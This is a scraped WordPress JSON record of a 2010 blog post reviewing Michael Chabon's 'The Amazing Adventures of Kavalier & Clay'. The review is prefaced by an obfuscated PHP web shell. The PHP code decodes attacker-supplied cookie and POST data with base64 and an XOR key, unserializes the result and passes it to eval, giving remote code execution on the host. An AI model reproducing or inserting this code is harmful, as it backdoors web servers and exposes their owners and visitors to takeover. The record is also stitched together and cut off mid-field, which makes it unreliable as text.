$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":1014,"date":"2010-06-25T16:21:38","date_gmt":"2010-06-25T20:21:38","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=1014"},"modified":"2010-06-25T16:21:38","modified_gmt":"2010-06-25T20:21:38","slug":"book-review-the-amazing-adventures-of-kavalier-clay","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=1014","title":{"rendered":"Book Review: The Amazing Adventures of Kavalier & Clay"},"content":{"rendered":"

I don’t remember where I first came across Michael Chabon<\/a>‘s debut novel The Mysteries of Pittsburgh<\/em><\/a>. The book came out in 1988 when I was finishing my sophomore year of college just about 90 miles north of Pittsburgh. The superficial connection drew me into the novel, which described a world I did not inhabit. I only visited Pittsburgh occasionally with friends from school, and I did not have any bisexual inclinations like main character Art Bechstein.<\/p>\n

$\"\"$ But the promise of a lost summer after graduating college like the book describes as well as my own interest in having literary success at a young age like Chabon made me fall in love with the book. For some reason, that’s as far as I went with the author. I did re-read his debut a few years ago, enjoying it as much as I did back in the late 1980s, but I never explored any of his other work.<\/p>\n

That is, until I found myself looking for something to read a few weeks ago<\/a>. I ended up with Chabon’s Pulitzer Prize winner, The Amazing Adventures of Kavalier & Clay<\/a>. I regret waiting so long to read this fantastic book.<\/p>\n

I don’t read comic books and hate long books so I had plenty of reasons to expect little even with the book’s pedigree. The story of the comic-book creating cousins blew me away. Chabon has such a gift with creating new worlds within even the simplest settings.<\/p>\n

The long passage of time could have bored readers weaving their way through some complicated parts of the story. In the hands of a less skilled writer, you could say that all the detail of Josef Kavalier’s life in Prague prevented the real story from beginning. A more clumsy presentation could have made lives of the comic-book characters a distraction from the main narrative.<\/p>\n

Yet Chabon crosses all these hurdles with ease. I feel kind of silly giving this kind of blessing to such a well-acclaimed novel, but it’s true. I should have known better based on my experience with his debut.<\/p>\n","protected":false},"excerpt":{"rendered":"